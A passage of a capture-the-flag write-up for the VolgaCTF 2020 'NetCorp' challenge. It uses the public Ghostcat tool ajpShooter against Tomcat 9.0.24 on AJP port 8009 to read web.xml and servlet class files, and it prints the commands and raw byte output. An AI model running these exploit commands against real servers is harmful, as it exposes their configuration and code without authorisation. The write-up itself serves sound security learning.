Tags: tomcat web java ghostcat 

Rating:

# VolgaCTF Qualifier 2020 – NetCorp

* **Category:** web
* **Points:** 100

## Challenge

> Another telecom provider. Hope these guys prepared well enough for the network load...
>
> http://netcorp.q.2020.volgactf.ru:7782/

## Solution

After doing some recon, you can discover that the application server is an old Apache Tomcat installation. In particular, trying to reach `http://netcorp.q.2020.volgactf.ru:7782/%00` URL will spawn an error containing the version: `Apache Tomcat/9.0.24`.

This version is affected of [*Ghostcat vulnerability* (*CVE-2020-1938*)](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-1938).

For this vulnerability, several public exploits exist. One of them is [*Ajp Shooter*](https://github.com/00theway/Ghostcat-CNVD-2020-10487).

You can checkout and use it to read `web.xml` file.

```
root@m3ss4p0:~/Ghostcat-CNVD-2020-10487# python3 ajpShooter.py http://netcorp.q.2020.volgactf.ru:7782 8009 /WEB-INF/web.xml read

_ _ __ _ _
/_\ (_)_ __ / _\ |__ ___ ___ | |_ ___ _ __
//_\\ | | '_ \ \ \| '_ \ / _ \ / _ \| __/ _ \ '__|
/ _ \| | |_) | _\ \ | | | (_) | (_) | || __/ |
\_/ \_// | .__/ \__/_| |_|\___/ \___/ \__\___|_|
|__/|_|
00theway,just for test

[<] 200 200
[<] Accept-Ranges: bytes
[<] ETag: W/"1000-1585246342000"
[<] Last-Modified: Thu, 26 Mar 2020 18:12:22 GMT
[<] Content-Type: application/xml
[<] Content-Length: 1000

<web-app>
<display-name>NetCorp</display-name>


<servlet>
<servlet-name>ServeScreenshot</servlet-name>
<display-name>ServeScreenshot</display-name>
<servlet-class>ru.volgactf.netcorp.ServeScreenshotServlet</servlet-class>
</servlet>

<servlet-mapping>
<servlet-name>ServeScreenshot</servlet-name>
<url-pattern>/ServeScreenshot</url-pattern>
</servlet-mapping>

<servlet>
<servlet-name>ServeComplaint</servlet-name>
<display-name>ServeComplaint</display-name>
<description>Complaint info</description>
<servlet-class>ru.volgactf.netcorp.ServeComplaintServlet</servlet-class>
</servlet>

<servlet-mapping>
<servlet-name>ServeComplaint</servlet-name>
<url-pattern>/ServeComplaint</url-pattern>
</servlet-mapping>

<error-page>
<error-code>404</error-code>
<location>/404.html</location>
</error-page>



</web-app>
```

At this point, you can discover that two servlets exist:
* `ru.volgactf.netcorp.ServeScreenshotServlet` available at `http://netcorp.q.2020.volgactf.ru:7782/ServeScreenshot`;
* `ru.volgactf.netcorp.ServeComplaintServlet` available at `http://netcorp.q.2020.volgactf.ru:7782/ServeComplaint`.

You can easily get both `.class` files using the exploit.

```
root@m3ss4p0:~/Ghostcat-CNVD-2020-10487# python3 ajpShooter.py http://netcorp.q.2020.volgactf.ru:7782 8009 /WEB-INF/classes/ru/volgactf/netcorp/ServeScreenshotServlet.class read

_ _ __ _ _
/_\ (_)_ __ / _\ |__ ___ ___ | |_ ___ _ __
//_\\ | | '_ \ \ \| '_ \ / _ \ / _ \| __/ _ \ '__|
/ _ \| | |_) | _\ \ | | | (_) | (_) | || __/ |
\_/ \_// | .__/ \__/_| |_|\___/ \___/ \__\___|_|
|__/|_|
00theway,just for test

[<] 200 200
[<] Accept-Ranges: bytes
[<] ETag: W/"4926-1585246402000"
[<] Last-Modified: Thu, 26 Mar 2020 18:13:22 GMT
[<] Content-Type: application/java
[<] Content-Length: 4926

b'\xca\xfe\xba\xbe\x00\x00\x004\x01\x1f\n\x00D\x00\x8e\t\x00\x8f\x00\x90\x08\x00\x91\n\x00\x92\x00\x93\x08\x00\x94\x08\x00\x95\x0b\x00\x96\x00\x97\x08\x00\x98\x0b\x00\x99\x00\x9a\x07\x00\x9b\n\x00\n\x00\x8e\n\x00\n\x00\x9c\x07\x00\x9d\x08\x00\x9e\n\x00\n\x00\x9f\x07\x00\xa0\n\x00\x10\x00\xa1\n\x00\x10\x00\xa2\n\x00\x10\x00\xa3\x08\x00\xa4\x0b\x00\x96\x00\xa5\x08\x00\xa6\n\x00\xa7\x00\xa8\x0b\x00\x96\x00\xa9\x0b\x00\xaa\x00\xab\x0b\x00\xac\x00\xad\x0b\x00\xac\x00\xae\x07\x00\xaf\n\x00\r\x00\xb0\n\x00\x10\x00\xb1\n\x00\r\x00\xb2\t\x00\x10\x00\xb3\x08\x00\xb4\x0b\x00\x1c\x00\xb5\x0b\x00\xb6\x00\xb7\x08\x00\xb8\x0b\x00\xb6\x00\xb9\x08\x00\xba\x0b\x00\xb6\x00\xbb\x08\x00\xbc\x07\x00\xbd\n\x00\xa7\x00\xbe\n\x00\xbf\x00\xc0\n\x00\xbf\x00\xc1\x08\x00\xc2\n\x00\xc3\x00\xc4\n\x00\xa7\x00\xc5\n\x00\xc3\x00\xc6\n\x00\xc3\x00\xc7\x07\x00\xc8\n\x002\x00\xc9\n\x002\x00\xca\n\x00\n\x00\xcb\n\x00\xa7\x00\xcc\x08\x00\xcd\x07\x00\xce\n\x008\x00\xcf\x08\x00\xd0\x0b\x00\x1c\x00\xd1\x08\x00\xd2\n\x00\xa7\x00\xd3\n\x00\xa7\x00\xd4\x08\x00\xd5\n\x00\xa7\x00\xd6\x08\x00\xd7\n\x00\xa7\x00\xd8\n\x00\xa7\x00\xd9\x07\x00\xda\x01\x00\x08SAVE_DIR\x01\x00\x12Ljava/lang/String;\x01\x00\rConstantValue\x01\x00\x06<init>\x01\x00\x03()V\x01\x00\x04Code\x01\x00\x0fLineNumberTable\x01\x00\x12LocalVariableTable\x01\x00\x04this\x01\x00,Lru/volgactf/netcorp/ServeScreenshotServlet;\x01\x00\x04init\x01\x00 (Ljavax/servlet/ServletConfig;)V\x01\x00\x06config\x01\x00\x1dLjavax/servlet/ServletConfig;\x01\x00\nExceptions\x07\x00\xdb\x01\x00\x07destroy\x01\x00\x06doPost\x01\x00R(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V\x01\x00\x08fileName\x01\x00\x0ehashedFileName\x01\x00\x04path\x01\x00\x04part\x01\x00\x19Ljavax/servlet/http/Part;\x01\x00\x07request\x01\x00\'Ljavax/servlet/http/HttpServletRequest;\x01\x00\x08response\x01\x00(Ljavax/servlet/http/HttpServletResponse;\x01\x00\x07appPath\x01\x00\x08savePath\x01\x00\x0bfileSaveDir\x01\x00\x0eLjava/io/File;\x01\x00\x06submut\x01\x00\x03out\x01\x00\x15Ljava/io/PrintWriter;\x01\x00\rStackMapTable\x07\x00\xdc\x07\x00\xa0\x07\x00\xdd\x07\x00\x9d\x07\x00\xde\x07\x00\xdf\x07\x00\xaf\x07\x00\xe0\x01\x00\x10generateFileName\x01\x00&(Ljava/lang/String;)Ljava/lang/String;\x01\x00\x01i\x01\x00\x01I\x01\x00\x05count\x01\x00\x02md\x01\x00\x1dLjava/security/MessageDigest;\x01\x00\x06digest\x01\x00\x02[B\x01\x00\x02s2\x01\x00\x02sb\x01\x00\x19Ljava/lang/StringBuilder;\x01\x00\x01e\x01\x00(Ljava/security/NoSuchAlgorithmException;\x07\x00\xe1\x07\x00y\x07\x00\x9b\x07\x00\xce\x01\x00\x0fextractFileName\x01\x00-(Ljavax/servlet/http/Part;)Ljava/lang/String;\x01\x00\x01s\x01\x00\x0bcontentDisp\x01\x00\x05items\x01\x00\x13[Ljava/lang/String;\x07\x00\x88\x01\x00\nSourceFile\x01\x00\x1bServeScreenshotServlet.java\x01\x00\x19RuntimeVisibleAnnotations\x01\x00*Ljavax/servlet/annotation/MultipartConfig;\x0c\x00H\x00I\x07\x00\xe2\x0c\x00f\x00\xe3\x01\x00*ServeScreenshotServlet Constructor called!\x07\x00\xe4\x0c\x00\xe5\x00\xe6\x01\x00+ServeScreenshotServlet "Init" method called\x01\x00.ServeScreenshotServlet "Destroy" method called\x07\x00\xde\x0c\x00\xe7\x00\xe8\x01\x00\x00\x07\x00\xe9\x0c\x00\xea\x00r\x01\x00\x17java/lang/StringBuilder\x0c\x00\xeb\x00\xec\x01\x00*ru/volgactf/netcorp/ServeScreenshotServlet\x01\x00\x07uploads\x0c\x00\xed\x00\xee\x01\x00\x0cjava/io/File\x0c\x00H\x00\xe6\x0c\x00\xef\x00\xf0\x0c\x00\xf1\x00\xf0\x01\x00\x06submit\x0c\x00\xf2\x00r\x01\x00\x04true\x07\x00\xdc\x0c\x00\xf3\x00\xf4\x0c\x00\xf5\x00\xf6\x07\x00\xf7\x0c\x00\xf8\x00\xf9\x07\x00\xdd\x0c\x00\xfa\x00\xf0\x0c\x00\xfb\x00\xfc\x01\x00\x17javax/servlet/http/Part\x0c\x00\x83\x00\x84\x0c\x00\xfd\x00\xee\x0c\x00q\x00r\x0c\x00\xfe\x00F\x01\x00\x05Error\x0c\x00\xff\x00\xe6\x07\x00\xdf\x0c\x01\x00\x01\x01\x01\x00\x10application/json\x0c\x01\x02\x00\xe6\x01\x00\x05UTF-8\x0c\x01\x03\x00\xe6\x01\x00\x10{\'success\':\'%s\'}\x01\x00\x10java/lang/Object\x0c\x01\x04\x01\x05\x07\x01\x06\x0c\x01\x07\x00\xe6\x0c\x01\x08\x00I\x01\x00\x03MD5\x07\x00\xe1\x0c\x01\t\x01\n\x0c\x01\x0b\x01\x0c\x0c\x01\r\x01\x0e\x0c\x00x\x01\x0c\x01\x00\x14java/math/BigInteger\x0c\x00H\x01\x0f\x0c\x00\xed\x01\x10\x0c\x00H\x01\x11\x0c\x01\x12\x01\x13\x01\x00\x010\x01\x00&java/security/NoSuchAlgorithmException\x0c\x01\x14\x00I\x01\x00\x13content-disposition\x0c\x01\x15\x00r\x01\x00\x01;\x0c\x01\x16\x01\x17\x0c\x01\x18\x00\xee\x01\x00\x08filename\x0c\x01\x19\x01\x1a\x01\x00\x01=\x0c\x01\x1b\x01\x1c\x0c\x01\x1d\x01\x1e\x01\x00\x1ejavax/servlet/http/HttpServlet\x01\x00\x1ejavax/servlet/ServletException\x01\x00\x10java/lang/String\x01\x00\x12java/util/Iterator\x01\x00%javax/servlet/http/HttpServletRequest\x01\x00&javax/servlet/http/HttpServletResponse\x01\x00\x13java/io/IOException\x01\x00\x1bjava/security/MessageDigest\x01\x00\x10java/lang/System\x01\x00\x15Ljava/io/PrintStream;\x01\x00\x13java/io/PrintStream\x01\x00\x07println\x01\x00\x15(Ljava/lang/String;)V\x01\x00\x11getServletContext\x01\x00 ()Ljavax/servlet/ServletContext;\x01\x00\x1cjavax/servlet/ServletContext\x01\x00\x0bgetRealPath\x01\x00\x06append\x01\x00-(Ljava/lang/String;)Ljava/lang/StringBuilder;\x01\x00\x08toString\x01\x00\x14()Ljava/lang/String;\x01\x00\x06exists\x01\x00\x03()Z\x01\x00\x05mkdir\x01\x00\x0cgetParameter\x01\x00\x06equals\x01\x00\x15(Ljava/lang/Object;)Z\x01\x00\x08getParts\x01\x00\x18()Ljava/util/Collection;\x01\x00\x14java/util/Collection\x01\x00\x08iterator\x01\x00\x16()Ljava/util/Iterator;\x01\x00\x07hasNext\x01\x00\x04next\x01\x00\x14()Ljava/lang/Object;\x01\x00\x07getName\x01\x00\tseparator\x01\x00\x05write\x01\x00\tgetWriter\x01\x00\x17()Ljava/io/PrintWriter;\x01\x00\x0esetContentType\x01\x00\x14setCharacterEncoding\x01\x00\x06format\x01\x009(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;\x01\x00\x13java/io/PrintWriter\x01\x00\x05print\x01\x00\x05flush\x01\x00\x0bgetInstance\x01\x001(Ljava/lang/String;)Ljava/security/MessageDigest;\x01\x00\x08getBytes\x01\x00\x04()[B\x01\x00\x06update\x01\x00\x05([B)V\x01\x00\x06(I[B)V\x01\x00\x15(I)Ljava/lang/String;\x01\x00\x04(I)V\x01\x00\x06length\x01\x00\x03()I\x01\x00\x0fprintStackTrace\x01\x00\tgetHeader\x01\x00\x05split\x01\x00\'(Ljava/lang/String;)[Ljava/lang/String;\x01\x00\x04trim\x01\x00\nstartsWith\x01\x00\x15(Ljava/lang/String;)Z\x01\x00\x07indexOf\x01\x00\x15(Ljava/lang/String;)I\x01\x00\tsubstring\x01\x00\x16(II)Ljava/lang/String;\x00!\x00\r\x00D\x00\x00\x00\x01\x00\x1a\x00E\x00F\x00\x01\x00G\x00\x00\x00\x02\x00\x0e\x00\x06\x00\x01\x00H\x00I\x00\x01\x00J\x00\x00\x00?\x00\x02\x00\x01\x00\x00\x00\r*\xb7\x00\x01\xb2\x00\x02\x12\x03\xb6\x00\x04\xb1\x00\x00\x00\x02\x00K\x00\x00\x00\x0e\x00\x03\x00\x00\x00\x1a\x00\x04\x00\x1b\x00\x0c\x00\x1c\x00L\x00\x00\x00\x0c\x00\x01\x00\x00\x00\r\x00M\x00N\x00\x00\x00\x01\x00O\x00P\x00\x02\x00J\x00\x00\x00A\x00\x02\x00\x02\x00\x00\x00\t\xb2\x00\x02\x12\x05\xb6\x00\x04\xb1\x00\x00\x00\x02\x00K\x00\x00\x00\n\x00\x02\x00\x00\x00\x1f\x00\x08\x00 \x00L\x00\x00\x00\x16\x00\x02\x00\x00\x00\t\x00M\x00N\x00\x00\x00\x00\x00\t\x00Q\x00R\x00\x01\x00S\x00\x00\x00\x04\x00\x01\x00T\x00\x01\x00U\x00I\x00\x01\x00J\x00\x00\x007\x00\x02\x00\x01\x00\x00\x00\t\xb2\x00\x02\x12\x06\xb6\x00\x04\xb1\x00\x00\x00\x02\x00K\x00\x00\x00\n\x00\x02\x00\x00\x00$\x00\x08\x00%\x00L\x00\x00\x00\x0c\x00\x01\x00\x00\x00\t\x00M\x00N\x00\x00\x00\x04\x00V\x00W\x00\x02\x00J\x00\x00\x02O\x00\x06\x00\x0c\x00\x00\x00\xfc+\xb9\x00\x07\x01\x00\x12\x08\xb9\x00\t\x02\x00N\xbb\x00\nY\xb7\x00\x0b-\xb6\x00\x0c\x12\x0e\xb6\x00\x0c\xb6\x00\x0f:\x04\xbb\x00\x10Y\x19\x04\xb7\x00\x11:\x05\x19\x05\xb6\x00\x12\x9a\x00\t\x19\x05\xb6\x00\x13W+\x12\x14\xb9\x00\x15\x02\x00:\x06\x19\x06\xc6\x00\r\x19\x06\x12\x16\xb6\x00\x17\x9a\x00\x03+\xb9\x00\x18\x01\x00\xb9\x00\x19\x01\x00:\x07\x19\x07\xb9\x00\x1a\x01\x00\x99\x00b\x19\x07\xb9\x00\x1b\x01\x00\xc0\x00\x1c:\x08*\x19\x08\xb7\x00\x1d:\t\xbb\x00\x10Y\x19\t\xb7\x00\x11\xb6\x00\x1e:\t*\x19\t\xb7\x00\x1f:\n\xbb\x00\nY\xb7\x00\x0b\x19\x04\xb6\x00\x0c\xb2\x00 \xb6\x00\x0c\x19\n\xb6\x00\x0c\xb6\x00\x0f:\x0b\x19\x0b\x12!\xb6\x00\x17\x99\x00\x06\xa7\xff\xa6\x19\x08\x19\x0b\xb9\x00"\x02\x00\xa7\xff\x9a,\xb9\x00#\x01\x00:\x07,\x12$\xb9\x00%\x02\x00,\x12&\xb9\x00\'\x02\x00\x19\x07\x12(\x04\xbd\x00)Y\x03\x12\x16S\xb8\x00*\xb6\x00+\x19\x07\xb6\x00,\xb1\x00\x00\x00\x03\x00K\x00\x00\x00Z\x00\x16\x00\x00\x00+\x00\x0e\x00.\x00#\x000\x00.\x001\x006\x002\x00<\x004\x00F\x005\x00U\x008\x00x\x009\x00\x80\x00;\x00\x8e\x00<\x00\x96\x00=\x00\xb2\x00>\x00\xbc\x00?\x00\xbf\x00@\x00\xc8\x00A\x00\xcb\x00C\x00\xd3\x00D\x00\xdb\x00E\x00\xe3\x00F\x00\xf6\x00G\x00\xfb\x00H\x00L\x00\x00\x00z\x00\x0c\x00\x80\x00H\x00X\x00F\x00\t\x00\x96\x002\x00Y\x00F\x00\n\x00\xb2\x00\x16\x00Z\x00F\x00\x0b\x00x\x00P\x00[\x00\\\x00\x08\x00\x00\x00\xfc\x00M\x00N\x00\x00\x00\x00\x00\xfc\x00]\x00^\x00\x01\x00\x00\x00\xfc\x00_\x00`\x00\x02\x00\x0e\x00\xee\x00a\x00F\x00\x03\x00#\x00\xd9\x00b\x00F\x00\x04\x00.\x00\xce\x00c\x00d\x00\x05\x00F\x00\xb6\x00e\x00F\x00\x06\x00\xd3\x00)\x00f\x00g\x00\x07\x00h\x00\x00\x00a\x00\x05\xfe\x00<\x07\x00i\x07\x00i\x07\x00j\xfc\x00\x18\x07\x00i\xfc\x00\x0c\x07\x00k\xff\x00\\\x00\x0c\x07\x00l\x07\x00m\x07\x00n\x07\x00i\x07\x00i\x07\x00j\x07\x00i\x07\x00k\x07\x00o\x07\x00i\x07\x00i\x07\x00i\x00\x00\xff\x00\x0b\x00\x07\x07\x00l\x07\x00m\x07\x00n\x07\x00i\x07\x00i\x07\x00j\x07\x00i\x00\x00\x00S\x00\x00\x00\x06\x00\x02\x00T\x00p\x00\x02\x00q\x00r\x00\x01\x00J\x00\x00\x01G\x00\x04\x00\x08\x00\x00\x00c\x12-\xb8\x00.M,+\xb6\x00/\xb6\x000,\xb6\x001N\xbb\x002Y\x04-\xb7\x003\x10\x10\xb6\x004:\x04\xbb\x00\nY\x10 \xb7\x005:\x05\x036\x06\x10 \x19\x04\xb6\x006d6\x07\x15\x06\x15\x07\xa2\x00\x11\x19\x05\x127\xb6\x00\x0cW\x84\x06\x01\xa7\xff\xee\x19\x05\x19\x04\xb6\x00\x0c\xb6\x00\x0f\xb0M,\xb6\x009\x12!\xb0\x00\x01\x00\x00\x00Z\x00[\x008\x00\x03\x00K\x00\x00\x002\x00\x0c\x00\x00\x00L\x00\x06\x00M\x00\x0e\x00N\x00\x13\x00O\x00#\x00P\x00.\x00R\x00B\x00S\x00J\x00R\x00P\x00V\x00[\x00X\x00\\\x00Y\x00`\x00Z\x00L\x00\x00\x00\\\x00\t\x001\x00\x1f\x00s\x00t\x00\x06\x00;\x00\x15\x00u\x00t\x00\x07\x00\x06\x00U\x00v\x00w\x00\x02\x00\x13\x00H\x00x\x00y\x00\x03\x00#\x008\x00z\x00F\x00\x04\x00.\x00-\x00{\x00|\x00\x05\x00\\\x00\x07\x00}\x00~\x00\x02\x00\x00\x00c\x00M\x00N\x00\x00\x00\x00\x00c\x00X\x00F\x00\x01\x00h\x00\x00\x000\x00\x03\xff\x00;\x00\x08\x07\x00l\x07\x00i\x07\x00\x7f\x07\x00\x80\x07\x00i\x07\x00\x81\x01\x01\x00\x00\xf9\x00\x14\xff\x00\n\x00\x02\x07\x00l\x07\x00i\x00\x01\x07\x00\x82\x00\x02\x00\x83\x00\x84\x00\x01\x00J\x00\x00\x00\xe3\x00\x04\x00\x08\x00\x00\x00U+\x12:\xb9\x00;\x02\x00M,\x12<\xb6\x00=N-:\x04\x19\x04\xbe6\x05\x036\x06\x15\x06\x15\x05\xa2\x003\x19\x04\x15\x062:\x07\x19\x07\xb6\x00>\x12?\xb6\x00@\x99\x00\x19\x19\x07\x19\x07\x12A\xb6\x00B\x05`\x19\x07\xb6\x006\x04d\xb6\x00C\xb0\x84\x06\x01\xa7\xff\xcc\x12\x08\xb0\x00\x00\x00\x03\x00K\x00\x00\x00\x1e\x00\x07\x00\x00\x00_\x00\t\x00`\x00\x10\x00a\x00)\x00b\x006\x00c\x00L\x00a\x00R\x00f\x00L\x00\x00\x004\x00\x05\x00)\x00#\x00\x85\x00F\x00\x07\x00\x00\x00U\x00M\x00N\x00\x00\x00\x00\x00U\x00[\x00\\\x00\x01\x00\t\x00L\x00\x86\x00F\x00\x02\x00\x10\x00E\x00\x87\x00\x88\x00\x03\x00h\x00\x00\x00\x1e\x00\x03\xff\x00\x1b\x00\x07\x07\x00l\x07\x00o\x07\x00i\x07\x00\x89\x07\x00\x89\x01\x01\x00\x000\xf8\x00\x05\x00\x02\x00\x8a\x00\x00\x00\x02\x00\x8b\x00\x8c\x00\x00\x00\x06\x00\x01\x00\x8d\x00\x00'

root@m3ss4p0:~/Ghostcat-CNVD-2020-10487# python3 ajpShooter.py http://netcorp.q.2020.volgactf.ru:7782 8009 /WEB-INF/classes/ru/volgactf/netcorp/ServeComplaintServlet.class read

_ _ __ _ _
/_\ (_)_ __ / _\ |__ ___ ___ | |_ ___ _ __
//_\\ | | '_ \ \ \| '_ \ / _ \ / _ \| __/ _ \ '__|
/ _ \| | |_) | _\ \ | | | (_) | (_) | || __/ |
\_/ \_// | .__/ \__/_| |_|\___/ \___/ \__\___|_|
|__/|_|
00theway,just for test

[<] 200 200
[<] Accept-Ranges: bytes
[<] ETag: W/"1559-1585246402000"
[<] Last-Modified: Thu, 26 Mar 2020 18:13:22 GMT
[<] Content-Type: application/java
[<] Content-Length: 1559

b'\xca\xfe\xba\xbe\x00\x00\x004\x00>\n\x00\x08\x00+\t\x00,\x00-\x08\x00.\n\x00/\x000\x08\x001\x08\x002\x07\x003\x07\x004\x01\x00\x10serialVersionUID\x01\x00\x01J\x01\x00\rConstantValue\x05\x00\x00\x00\x00\x00\x00\x00\x01\x01\x00\x08SAVE_DIR\x01\x00\x12Ljava/lang/String;\x08\x005\x01\x00\x06<init>\x01\x00\x03()V\x01\x00\x04Code\x01\x00\x0fLineNumberTable\x01\x00\x12LocalVariableTable\x01\x00\x04this\x01\x00+Lru/volgactf/netcorp/ServeComplaintServlet;\x01\x00\x04init\x01\x00 (Ljavax/servlet/ServletConfig;)V\x01\x00\x06config\x01\x00\x1dLjavax/servlet/ServletConfig;\x01\x00\nExceptions\x07\x006\x01\x00\x07destroy\x01\x00\x05doGet\x01\x00R(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V\x01\x00\x07request\x01\x00\'Ljavax/servlet/http/HttpServletRequest;\x01\x00\x08response\x01\x00(Ljavax/servlet/http/HttpServletResponse;\x07\x007\x01\x00\x06doPost\x01\x00\nSourceFile\x01\x00\x1aServeComplaintServlet.java\x01\x00\x19RuntimeVisibleAnnotations\x01\x00*Ljavax/servlet/annotation/MultipartConfig;\x0c\x00\x11\x00\x12\x07\x008\x0c\x009\x00:\x01\x00*ServeScreenshotServlet Constructor called!\x07\x00;\x0c\x00<\x00=\x01\x00+ServeScreenshotServlet "Init" method called\x01\x00.ServeScreenshotServlet "Destroy" method called\x01\x00)ru/volgactf/netcorp/ServeComplaintServlet\x01\x00\x1ejavax/servlet/http/HttpServlet\x01\x00\x07uploads\x01\x00\x1ejavax/servlet/ServletException\x01\x00\x13java/io/IOException\x01\x00\x10java/lang/System\x01\x00\x03out\x01\x00\x15Ljava/io/PrintStream;\x01\x00\x13java/io/PrintStream\x01\x00\x07println\x01\x00\x15(Ljava/lang/String;)V\x00!\x00\x07\x00\x08\x00\x00\x00\x02\x00\x1a\x00\t\x00\n\x00\x01\x00\x0b\x00\x00\x00\x02\x00\x0c\x00\x1a\x00\x0e\x00\x0f\x00\x01\x00\x0b\x00\x00\x00\x02\x00\x10\x00\x05\x00\x01\x00\x11\x00\x12\x00\x01\x00\x13\x00\x00\x00?\x00\x02\x00\x01\x00\x00\x00\r*\xb7\x00\x01\xb2\x00\x02\x12\x03\xb6\x00\x04\xb1\x00\x00\x00\x02\x00\x14\x00\x00\x00\x0e\x00\x03\x00\x00\x00\x15\x00\x04\x00\x16\x00\x0c\x00\x17\x00\x15\x00\x00\x00\x0c\x00\x01\x00\x00\x00\r\x00\x16\x00\x17\x00\x00\x00\x01\x00\x18\x00\x19\x00\x02\x00\x13\x00\x00\x00A\x00\x02\x00\x02\x00\x00\x00\t\xb2\x00\x02\x12\x05\xb6\x00\x04\xb1\x00\x00\x00\x02\x00\x14\x00\x00\x00\n\x00\x02\x00\x00\x00\x1b\x00\x08\x00\x1c\x00\x15\x00\x00\x00\x16\x00\x02\x00\x00\x00\t\x00\x16\x00\x17\x00\x00\x00\x00\x00\t\x00\x1a\x00\x1b\x00\x01\x00\x1c\x00\x00\x00\x04\x00\x01\x00\x1d\x00\x01\x00\x1e\x00\x12\x00\x01\x00\x13\x00\x00\x007\x00\x02\x00\x01\x00\x00\x00\t\xb2\x00\x02\x12\x06\xb6\x00\x04\xb1\x00\x00\x00\x02\x00\x14\x00\x00\x00\n\x00\x02\x00\x00\x00 \x00\x08\x00!\x00\x15\x00\x00\x00\x0c\x00\x01\x00\x00\x00\t\x00\x16\x00\x17\x00\x00\x00\x04\x00\x1f\x00 \x00\x02\x00\x13\x00\x00\x00?\x00\x00\x00\x03\x00\x00\x00\x01\xb1\x00\x00\x00\x02\x00\x14\x00\x00\x00\x06\x00\x01\x00\x00\x00\'\x00\x15\x00\x00\x00 \x00\x03\x00\x00\x00\x01\x00\x16\x00\x17\x00\x00\x00\x00\x00\x01\x00!\x00"\x00\x01\x00\x00\x00\x01\x00#\x00$\x00\x02\x00\x1c\x00\x00\x00\x06\x00\x02\x00\x1d\x00%\x00\x04\x00&\x00 \x00\x02\x00\x13\x00\x00\x00?\x00\x00\x00\x03\x00\x00\x00\x01\xb1\x00\x00\x00\x02\x00\x14\x00\x00\x00\x06\x00\x01\x00\x00\x00,\x00\x15\x00\x00\x00 \x00\x03\x00\x00\x00\x01\x00\x16\x00\x17\x00\x00\x00\x00\x00\x01\x00!\x00"\x00\x01\x00\x00\x00\x01\x00#\x00$\x00\x02\x00\x1c\x00\x00\x00\x06\x00\x02\x00\x1d\x00%\x00\x02\x00\'\x00\x00\x00\x02\x00(\x00)\x00\x00\x00\x06\x00\x01\x00*\x00\x00'
```

I used the following [Python script](https://raw.githubusercontent.com/m3ssap0/CTF-Writeups/master/VolgaCTF%20Qualifier%202020/NetCorp/create_class_files.py) to recover the files, but the tool has a parameter to save read file.

```python
def create_class_file(filename, content):
class_file = open(filename + ".class", "wb")
class_file.write(content)

create_class_file("ServeScreenshotServlet", b'\xca\xfe\xba\xbe\x00\x00\x004\x01\x1f\n\x00D\x00\x8e\t\x00\x8f\x00\x90\x08\x00\x91\n\x00\x92\x00\x93\x08\x00\x94\x08\x00\x95\x0b\x00\x96\x00\x97\x08\x00\x98\x0b\x00\x99\x00\x9a\x07\x00\x9b\n\x00\n\x00\x8e\n\x00\n\x00\x9c\x07\x00\x9d\x08\x00\x9e\n\x00\n\x00\x9f\x07\x00\xa0\n\x00\x10\x00\xa1\n\x00\x10\x00\xa2\n\x00\x10\x00\xa3\x08\x00\xa4\x0b\x00\x96\x00\xa5\x08\x00\xa6\n\x00\xa7\x00\xa8\x0b\x00\x96\x00\xa9\x0b\x00\xaa\x00\xab\x0b\x00\xac\x00\xad\x0b\x00\xac\x00\xae\x07\x00\xaf\n\x00\r\x00\xb0\n\x00\x10\x00\xb1\n\x00\r\x00\xb2\t\x00\x10\x00\xb3\x08\x00\xb4\x0b\x00\x1c\x00\xb5\x0b\x00\xb6\x00\xb7\x08\x00\xb8\x0b\x00\xb6\x00\xb9\x08\x00\xba\x0b\x00\xb6\x00\xbb\x08\x00\xbc\x07\x00\xbd\n\x00\xa7\x00\xbe\n\x00\xbf\x00\xc0\n\x00\xbf\x00\xc1\x08\x00\xc2\n\x00\xc3\x00\xc4\n\x00\xa7\x00\xc5\n\x00\xc3\x00\xc6\n\x00\xc3\x00\xc7\x07\x00\xc8\n\x002\x00\xc9\n\x002\x00\xca\n\x00\n\x00\xcb\n\x00\xa7\x00\xcc\x08\x00\xcd\x07\x00\xce\n\x008\x00\xcf\x08\x00\xd0\x0b\x00\x1c\x00\xd1\x08\x00\xd2\n\x00\xa7\x00\xd3\n\x00\xa7\x00\xd4\x08\x00\xd5\n\x00\xa7\x00\xd6\x08\x00\xd7\n\x00\xa7\x00\xd8\n\x00\xa7\x00\xd9\x07\x00\xda\x01\x00\x08SAVE_DIR\x01\x00\x12Ljava/lang/String;\x01\x00\rConstantValue\x01\x00\x06<init>\x01\x00\x03()V\x01\x00\x04Code\x01\x00\x0fLineNumberTable\x01\x00\x12LocalVariableTable\x01\x00\x04this\x01\x00,Lru/volgactf/netcorp/ServeScreenshotServlet;\x01\x00\x04init\x01\x00 (Ljavax/servlet/ServletConfig;)V\x01\x00\x06config\x01\x00\x1dLjavax/servlet/ServletConfig;\x01\x00\nExceptions\x07\x00\xdb\x01\x00\x07destroy\x01\x00\x06doPost\x01\x00R(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V\x01\x00\x08fileName\x01\x00\x0ehashedFileName\x01\x00\x04path\x01\x00\x04part\x01\x00\x19Ljavax/servlet/http/Part;\x01\x00\x07request\x01\x00\'Ljavax/servlet/http/HttpServletRequest;\x01\x00\x08response\x01\x00(Ljavax/servlet/http/HttpServletResponse;\x01\x00\x07appPath\x01\x00\x08savePath\x01\x00\x0bfileSaveDir\x01\x00\x0eLjava/io/File;\x01\x00\x06submut\x01\x00\x03out\x01\x00\x15Ljava/io/PrintWriter;\x01\x00\rStackMapTable\x07\x00\xdc\x07\x00\xa0\x07\x00\xdd\x07\x00\x9d\x07\x00\xde\x07\x00\xdf\x07\x00\xaf\x07\x00\xe0\x01\x00\x10generateFileName\x01\x00&(Ljava/lang/String;)Ljava/lang/String;\x01\x00\x01i\x01\x00\x01I\x01\x00\x05count\x01\x00\x02md\x01\x00\x1dLjava/security/MessageDigest;\x01\x00\x06digest\x01\x00\x02[B\x01\x00\x02s2\x01\x00\x02sb\x01\x00\x19Ljava/lang/StringBuilder;\x01\x00\x01e\x01\x00(Ljava/security/NoSuchAlgorithmException;\x07\x00\xe1\x07\x00y\x07\x00\x9b\x07\x00\xce\x01\x00\x0fextractFileName\x01\x00-(Ljavax/servlet/http/Part;)Ljava/lang/String;\x01\x00\x01s\x01\x00\x0bcontentDisp\x01\x00\x05items\x01\x00\x13[Ljava/lang/String;\x07\x00\x88\x01\x00\nSourceFile\x01\x00\x1bServeScreenshotServlet.java\x01\x00\x19RuntimeVisibleAnnotations\x01\x00*Ljavax/servlet/annotation/MultipartConfig;\x0c\x00H\x00I\x07\x00\xe2\x0c\x00f\x00\xe3\x01\x00*